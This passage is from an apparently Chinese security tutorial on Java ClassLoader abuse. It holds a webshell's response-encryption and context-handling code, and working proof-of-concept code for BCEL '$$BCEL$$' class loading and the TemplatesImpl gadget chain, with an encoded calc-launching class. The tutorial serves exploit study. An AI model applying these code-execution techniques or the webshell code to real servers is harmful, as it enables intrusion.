        Method write = so.getClass().getMethod("write", new Class[] { byte[].class });
        write.invoke(so, new Object[] { Encrypt(buildJson(result, true).getBytes("UTF-8")) });
        so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
        so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
      } catch (Exception exception) {}
    } 
    return true;
  }

  private byte[] Encrypt(byte[] bs) throws Exception {
    String key = this.Session.getClass().getMethod("getAttribute", new Class[] { String.class }).invoke(this.Session, new Object[] { "u" }).toString();
    byte[] raw = key.getBytes("utf-8");
    SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
    Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
    cipher.init(1, skeySpec);
    byte[] encrypted = cipher.doFinal(bs);
    return encrypted;
  }

  private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
    StringBuilder sb = new StringBuilder();
    String version = System.getProperty("java.version");
    sb.append("{");
    for (String key : entity.keySet()) {
      sb.append("\"" + key + "\":\"");
      String value = ((String)entity.get(key)).toString();
      if (encode)
        if (version.compareTo("1.9") >= 0) {
          getClass();
          Class<?> Base64 = Class.forName("java.util.Base64");
          Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
          value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") });
        } else {
          getClass();
          Class<?> Base64 = Class.forName("sun.misc.BASE64Encoder");
          Object Encoder = Base64.newInstance();
          value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") });
          value = value.replace("\n", "").replace("\r", "");
        }
      sb.append(value);
      sb.append("\",");
    } 
    if (sb.toString().endsWith(","))
      sb.setLength(sb.length() - 1); 
    sb.append("}");
    return sb.toString();
  }

  private void fillContext(Object obj) throws Exception {
    if (obj.getClass().getName().indexOf("PageContext") >= 0) {
      this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
      this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
      this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);
    } else {
      Map<String, Object> objMap = (Map<String, Object>)obj;
      this.Session = objMap.get("session");
      this.Response = objMap.get("response");
      this.Request = objMap.get("request");
    } 
    this.Response.getClass().getMethod("setCharacterEncoding", new Class[] { String.class }).invoke(this.Response, new Object[] { "UTF-8" });
  }
}

可以看到, 其中定义了equals方法, 调用fillContext函数将马子中传递过来的pageContext传入过来了, 随后通过pageContext得到WEB中request, response, session对象. 接下来的操作就不一一分析了, Java代码已放到这可以慢慢嚼, 这里主要还是看一下ClassLoader的妙用.

Tomcat ClassLoader

介绍完自定义 ClassLoader, 接下来我们看一下 Tomcat 底层使用的 ClassLoader.

Tomcat 中部署了很多应用 (Tomcat 中默认存在 CatalinaClassLoader),A应用B应用中比如都引入了com.Heihu577类, 为了防止B应用引用到了A应用com.Heihu577, 所以Tomcat中每个WEB都默认自定义了一个类加载器 (WebAppClassLoader).

image

WebAppClassLoader

研究WebAppClassLoader的加载机制, 当然我们要从loadClass方法进行入手.

image

那么接下来我们继续看下面的代码:

image

这里笔者通过Debug调试, 发现该 ClassLoader 是 ExtClassLoader, 这么做是为了让我们加载以java.打头的类例如java.lang.String时, 不会报错, 所以这里使用了ExtClassLoader. 那么看接下来的代码:

image

这里的 Class.forName(name, false, parent) 的含义会在下面 《代码审计时使用的场景》进行介绍.

那么我们重点分析 WebAppClassLoader 本类的findClass方法:

image

WEB-INF/lib下的jar包等加载在StandardRoot::getResourceInternal方法中有记载, 以及Tomcat jar包热加载这里就不再说明了, 只是简单的说明一下Tomcat ClassLoader的处理机制.

BCEL ClassLoader

BCEL 介绍

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel

BCEL Classloader在JDK < 8u251之前是在rt.jar里面。同时在Tomcat中也会存在相关的依赖。

tomcat7: org.apache.tomcat.dbcp.dbcp.BasicDataSource

tomcat8 及其以后: org.apache.tomcat.dbcp.dbcp2.BasicDataSource

BCEL 加载类的原理 && 恶意 EXP 编写

在研究之前, 我们先准备一个Calc类, 代码如下:

public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

当类被加载, 则进入static代码块, 进行弹出计算器的操作. 下面我们再来分析BCEL类的加载原理.


rt.jar!/com/sun/org/apache/bcel/internal/util/包下,有ClassLoader这么一个类,可以实现加载字节码并初始化一个类的功能,该类也是个Classloader(继承了原生的Classloader类)重写了loadClass()方法, 具体其他的也不多说, 直接看源码分析:

image

那么我们拿到一个类的字节码值有一种方式就是, 运行Java后, 读取所生成的.class文件的内容, 但是这样有点太麻烦, 有没有什么方式可以在我们运行Java中来得到字节码的信息呢? 答案是有的, 那就是Repository.lookupClass(Class<?> clazz)方法, 该方法可以在程序运行中读取一个class信息, 例如:

package com.heihu577;

import com.sun.org.apache.bcel.internal.Repository;

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        JavaClass javaclass = Repository.lookupClass(Calc.class);
        System.out.println(javaclass);
        /*
        * public class com.heihu577.bean.Calc extends java.lang.Object
            filename		com.heihu577.bean.Calc
            compiled from		Calc.java
            compiler version	52.0
            access flags		33
            constant pool		38 entries
            ACC_SUPER flag		true
            Attribute(s):
                SourceFile(Calc.java)
            2 methods:
                public void <init>()
                static void <clinit>()
        * */
        System.out.println(Arrays.toString(javaclass.getBytes())); // 生成的字节码信息...
        /*
        * [-54, -2, -70, -66, 0, 0, 0, 52, 0, 38, 10, 0, 8, 0, 23, 10, 0, 24, 0, 25 ...
         * */
    }
}

当然了, 它的原理如下:

image

那么最终, 我们可以通过如下代码进行调用我们的Calc:

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        JavaClass calcJavaClass = Repository.lookupClass(Calc.class); // 得到 Calc 类的 JavaClass
        String calcEncode = Utility.encode(calcJavaClass.getBytes(), true); // 使用 Utility.encode 编码 Calc 的字节码
        // calcJavaClass.getBytes()是用来获取字节码的
        String payload = "$$BCEL$$" + calcEncode; // 得到最终 payload
        Class<?> clazz = new ClassLoader().loadClass(payload); // 最终得到该类的 clazz
        Object o = clazz.newInstance(); // 初始化类, 调用 static 静态代码块, 弹出计算器
    }
}

运行结果如下:

image

代码审计时使用场景

通常当我们遇到Class.forName(可控,true,可控)时, 即可触发漏洞.

参数1: 调用 loadClass(可控) 的值

参数2: 当设置为 true 时, 则表示加载类, 这里可以直接进入到类的 static 静态代码块.

参数3: 使用哪个 ClassLoader 进行加载, 如果这里可以指定, 那么我们可以指定 BCEL ClassLoader 进行加载.

我们就可以进行一个RCE, 案例如下:

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException,
            InvocationTargetException, IllegalAccessException, InstantiationException {
        JavaClass calcJavaClass = Repository.lookupClass(Calc.class);
        String calcEncode = Utility.encode(calcJavaClass.getBytes(), true);
        String payload = "$$BCEL$$" + calcEncode;
        Class.forName(payload, true,
                (ClassLoader) "".getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance());
		// 执行完毕后, 可以弹出计算器
    }
}

当然了, 这里我们也可以看一下Class.forName(String)的定义, 来理解为什么Class.forName(类名)可以直接进入到静态代码块:

@CallerSensitive
public static Class<?> forName(String className)
            throws ClassNotFoundException {
    Class<?> caller = Reflection.getCallerClass();
    return forName0(className, true, ClassLoader.getClassLoader(caller), caller);
}

可以从中看到, 默认第二个参数设置为了 true, 所以可以直接进入 static 静态代码块.

Xalan ClassLoader

Xalan 是 Java 中用于操作 XML 的一个库,它是 Apache XML 项目的一部分,主要用于将 XSLT(Extensible Stylesheet Language Transformations)转换为可执行代码,从而实现XML文档的转换。

XSLT 的理解

当然了, 我们先理解该模块如何使用之后, 我们再研究它的妙用, XSLT 说白了就是将XML + XSL文件解析为HTML文件, 具体如何理解呢, 我们定义如下代码:


1.XML 文件内容如下:

<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="1.xsl"?> <!-- 引用 1.xsl 文件 -->
<users> <!-- 定义 users, 其中存放一些信息内容 -->
    <info>
        <username>heihu577</username> <!-- heihu577 用户定义 -->
        <age>12</age>
    </info>
    <info>
        <username>hacker01</username> <!-- hacker01 用户定义 -->
        <age>13</age>
    </info>
</users>

对于XML的解释我们就不多说了, 是一种存储数据的方式.


1.XSL 文件内容如下:

<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <!-- XSL 文件必须引用的头部内容 -->
<xsl:template match="/"> <!-- 定义一个模板文件 -->
  <html> <!-- 放入你的 HTML 文档内容 -->
    <body>
      <h2>My XSL Tester</h2>
      <table border="1">
        <tr bgcolor="#9acd32">
          <th>username</th>
          <th>age</th>
        </tr>
        <xsl:for-each select="users/info"> <!-- 从 XML 文件中遍历 users/info 中的内容 -->
          <tr>
            <td><xsl:value-of select="username"/></td> <!-- 将 users/info/username 值放入到 td 标签中 -->
            <td><xsl:value-of select="age"/></td> <!-- 将 users/info/age 值放入到 td 标签中 -->
          </tr>
        </xsl:for-each>
      </table>
    </body>
  </html>
</xsl:template>
</xsl:stylesheet>

总的来说存在一个引用关系, 关系图如下:

image

从图中可以看到, 1.xml 用来定义数据信息, 1.xsl 用来定义 HTML 模板并引用 1.xml 中的数据信息, 最终生成 result.html.

其中1.xml + 1.xsl -> result.html生成的 Java 代码如下:

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, IOException,
            InstantiationException, IllegalAccessException, NoSuchPaddingException, NoSuchAlgorithmException,
            InvalidKeyException, IllegalBlockSizeException, BadPaddingException, TransformerException {
        TransformerFactory transformerFactory = new TransformerFactoryImpl(); // 得到工厂类
        ClassLoader appClassLoader = ClassLoader.getSystemClassLoader(); // 得到 ClassLoader, 方便得到 resources 目录下的文件流

        Transformer transformer =
                transformerFactory.newTransformer(
                        new StreamSource(appClassLoader.getResourceAsStream("1.xsl"))
                ); // 得到转换器, 传入 XSL 文件
		/*
		    @Override
            public Transformer newTransformer(Source source) throws // transformerFactory.newTransformer 方法原型
                TransformerConfigurationException
            {
                final Templates templates = newTemplates(source); // 注意这里应用到了 Templates 类
                final Transformer transformer = templates.newTransformer();
                if (_uriResolver != null) {
                    transformer.setURIResolver(_uriResolver);
                }
                return(transformer);
            }
		*/
        transformer.transform(
                new StreamSource(appClassLoader.getResourceAsStream("1.xml")), // 传入 1.xml 文件, 读取数据信息
                new StreamResult(new File(appClassLoader.getResource(".").getPath(), "result.html")) // 生成 result.html 文件内容
        );
    }
}

TemplatesImpl 类攻击链

在上述代码中我们对transformerFactory.newTransformer方法增加了注释, 我们要重点关注final Templates templates = newTemplates(source);中的Templates 到底是什么, 该类型是个接口类型, 定义如下:

public interface Templates {
    Transformer newTransformer() throws TransformerConfigurationException;
    Properties getOutputProperties();
}

TemplatesImpl类所实现, 如下:

public final class TemplatesImpl implements Templates, Serializable {
    static final class TransletClassLoader extends ClassLoader {
        private final Map<String,Class> _loadedExternalExtensionFunctions;
        TransletClassLoader(ClassLoader parent) {
             super(parent);
            _loadedExternalExtensionFunctions = null;
        }
        TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
            super(parent);
            _loadedExternalExtensionFunctions = mapEF;
        }
        public Class<?> loadClass(String name) throws ClassNotFoundException {
            Class<?> ret = null;
            if (_loadedExternalExtensionFunctions != null) {
                ret = _loadedExternalExtensionFunctions.get(name);
            }
            if (ret == null) {
                ret = super.loadClass(name);
            }
            return ret;
         }
        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    }
    //... 其他定义
}

比较有趣的是, 该类其中定义了TransletClassLoader, 并重写了loadClass方法, 如果_loadedExternalExtensionFunctions这个Map中存在我们已经定义的Class, 那么直接返回.defineClass方法直接调用了父类的defineClass方法, 那么谁使用了该类加载器进行加载呢?如图:

image

可以看到的是,defineTransletClasses方法中调用了defineClass方法, 其值是我们的_bytecodes中的字节码信息, 也就是说当我们的_bytecodes值可控时就可以进行加载恶意字节码信息. 这里我们可以在本地利用反射进行学习这个类的使用.

紧接着注意我们图中398~399行中笔者折叠部分的内容:

image

所以这里_tfactory的值必须为TransformerFactoryImpl类才可以保证代码的正常运行, 否则到这里会抛出一个空指针异常.

以及注意图中的410 && 422行中对_auxClasses成员属性的操作:

image

这里如果程序运行时_bytecodes.length返回了1, 而实际运行的类并没有继承ABSTRACT_TRANSLET (AbstractTranslet), 则会进入到下面的else分支,_auxClasses将不会初始化, 也会爆出一个空指针异常.

所以如果我们的恶意类没有继承AbstractTranslet的话我们需要提前对_auxClasses进行初始化操作. 因为恶意类是我们自己编写的, 最好还是遵循这个代码的走向流程, 所以这里要特别注意的是_transletIndex变量的值.

image

我们的恶意类必须要进行继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet就可以进入if分支, 这样我们就不会遇到_auxClasses的空指针报错了.


回到loader.loadClass点, 在我们之前学习自定义ClassLoader中有了解到, 我们必须在调用defineClass后调用newInstance()生成实例才可以进入到该类的无参构造|static代码块, 而谁又调用了defineTransletClasses得到clazz对象后调用了newInstance()?

image

getTransletInstance方法调用了defineTransletClasses方法后进行了newInstance()操作, 用来实例化defineTransletClasses中加载的类. 可以看到我们这里_name不能为null, 否则就不会往下执行.

image

newTransformer方法中调用了getTransletInstance方法, 这里已经是一个可以利用的完整链路了. 当然还有调用newTransformer方法的口:

image

调用流程图

为了清楚它们之间的逻辑, 笔者在这里放出总结图, 以便梳理调用关系:

image

本地利用该 ClassLoader

准备恶意类:

package com;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Encoder;

import java.io.IOException;
import java.util.Base64;

/**
 * Author: HeiHu577
 * Date: 2024/9/4 16:28
 * Description:
 */
public class CMD extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
    static {
        try {
            Process exec = Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    public static void main(String[] args) {
        byte[] encode = Base64.getEncoder().encode(Repository.lookupClass(CMD.class).getBytes());
        System.out.print(new String(encode)); // yv66vgAAADQAZgoAEQAzCgA0ADUHADYKADcAOAoAOQA6CgA7ADwJAD0APgcAPwoACABACgBBAEIKAEMARAgARQoAQwBGBwBHBwBICgAPAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxjb20vQ01EOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBLAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBHAQAKU291cmNlRmlsZQEACENNRC5qYXZhDAASABMHAEwMAE0AUAEAB2NvbS9DTUQHAFEMAFIAUwcAVAwAVQBWBwBXDAAdAFgHAFkMAFoAWwEAEGphdmEvbGFuZy9TdHJpbmcMABIAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABIAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RW5jb2RlcgEAB0VuY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEANGNvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL2NsYXNzZmlsZS9KYXZhQ2xhc3MBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAAwARAAAAAAAFAAEAEgATAAEAFAAAAC8AAQABAAAABSq3AAGxAAAAAgAVAAAABgABAAAAEgAWAAAADAABAAAABQAXABgAAAAJABkAGgABABQAAABaAAQAAgAAAB64AAISA7gABLYABbYABkyyAAe7AAhZK7cACbYACrEAAAACABUAAAAOAAMAAAAcAA8AHQAdAB4AFgAAABYAAgAAAB4AGwAcAAAADwAPAB0AHgABAAEAHwAgAAIAFAAAAD8AAAADAAAAAbEAAAACABUAAAAGAAEAAAAiABYAAAAgAAMAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAIwAkAAIAJQAAAAQAAQAmAAEAHwAnAAIAFAAAAEkAAAAEAAAAAbEAAAACABUAAAAGAAEAAAAmABYAAAAqAAQAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAKAApAAIAAAABACoAKwADACUAAAAEAAEAJgAIACwAEwABABQAAABmAAMAAQAAABe4AAsSDLYADUunAA1LuwAPWSq3ABC/sQABAAAACQAMAA4AAwAVAAAAFgAFAAAAFQAJABgADAAWAA0AFwAWABkAFgAAAAwAAQANAAkALQAuAAAALwAAAAcAAkwHADAJAAIAMQAAAAIAMgBPAAAACgABADsANABOAAk=
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

生成Payload成功后, 我们本地通过反射依次修改变量来进行RCE测试:

package com.heihu577;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Field;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.Properties;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, IOException,
            InstantiationException, IllegalAccessException, NoSuchPaddingException, NoSuchAlgorithmException,
            InvalidKeyException, IllegalBlockSizeException, BadPaddingException, TransformerException,
            NoSuchFieldException {
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        name.setAccessible(true);
        tfactory.setAccessible(true);
        bytecodes.setAccessible(true);
        byte[][] myBytes = new byte[1][];
        myBytes[0] =
                new BASE64Decoder().decodeBuffer(
                        "yv66vgAAADQAZgoAEQAzCgA0ADUHADYKADcAOAoAOQA6CgA7ADwJAD0APgcAPwoACABACgBBAEIKAEMARAgARQoAQwBGBwBHBwBICgAPAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxjb20vQ01EOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBLAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBHAQAKU291cmNlRmlsZQEACENNRC5qYXZhDAASABMHAEwMAE0AUAEAB2NvbS9DTUQHAFEMAFIAUwcAVAwAVQBWBwBXDAAdAFgHAFkMAFoAWwEAEGphdmEvbGFuZy9TdHJpbmcMABIAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABIAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RW5jb2RlcgEAB0VuY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEANGNvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL2NsYXNzZmlsZS9KYXZhQ2xhc3MBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAAwARAAAAAAAFAAEAEgATAAEAFAAAAC8AAQABAAAABSq3AAGxAAAAAgAVAAAABgABAAAAEgAWAAAADAABAAAABQAXABgAAAAJABkAGgABABQAAABaAAQAAgAAAB64AAISA7gABLYABbYABkyyAAe7AAhZK7cACbYACrEAAAACABUAAAAOAAMAAAAcAA8AHQAdAB4AFgAAABYAAgAAAB4AGwAcAAAADwAPAB0AHgABAAEAHwAgAAIAFAAAAD8AAAADAAAAAbEAAAACABUAAAAGAAEAAAAiABYAAAAgAAMAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAIwAkAAIAJQAAAAQAAQAmAAEAHwAnAAIAFAAAAEkAAAAEAAAAAbEAAAACABUAAAAGAAEAAAAmABYAAAAqAAQAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAKAApAAIAAAABACoAKwADACUAAAAEAAEAJgAIACwAEwABABQAAABmAAMAAQAAABe4AAsSDLYADUunAA1LuwAPWSq3ABC/sQABAAAACQAMAA4AAwAVAAAAFgAFAAAAFQAJABgADAAWAA0AFwAWABkAFgAAAAwAAQANAAkALQAuAAAALwAAAAcAAkwHADAJAAIAMQAAAAIAMgBPAAAACgABADsANABOAAk=");
        bytecodes.set(templates, myBytes);
        name.set(templates, "");
        tfactory.set(templates, new TransformerFactoryImpl());
        Transformer transformer = templates.newTransformer();
    }
}

运行会弹出计算器.

FastJson 反序列化中的应用

这一部分知识会在FastJson反序列化 && 一些反序列化链路中所使用, 笔者就先不提及了, 后续介绍反序列化时再重新拿起.

Unsafe 类

Unsafe 类不是一个 ClassLoader, 但是为什么要在本篇文章提起, 其实是因为该类可以进行注入恶意类到 JVM 中.

Unsafe 类简介

sun.misc.Unsafe类是一个提供底层、不安全的操作,比如直接内存访问、线程调度、原子操作等功能的工具类。

这个类主要被Java内部库使用,比如Java的NIO、并发包等,因为它允许绕过Java的内存管理模型,直接进行内存操作,这可能导致程序崩溃、数据损坏等严重后果。因此,它被认为是"不安全"的,并且不建议在常规的应用程序开发中使用。

Unsafe 类详解

image

我们可以看到图中的定义,theUnsafe成员属性的定义在static代码块中进行初始化了. 所以我们可以通过Unsafe.getUnsafe来得到该对象, 但是这里有一个限制. 根据下图进行代码分析:

image

Unsafe的构造方法为private修饰符, 所以我们无法在程序中直接new Unsafe()进行实例化生成, 否则程序将报错:

image

这里的话我们可以通过反射进行暴破获取该类的theUnsafe属性, 当然也可以通过反射暴破该类的构造方法, 都可以进行获取到Unsafe类, 代码测试如下:

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Class<?> clazz = Class.forName("sun.misc.Unsafe");
        Constructor<?> declaredConstructor = clazz.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Unsafe unsafe = (Unsafe) declaredConstructor.newInstance();
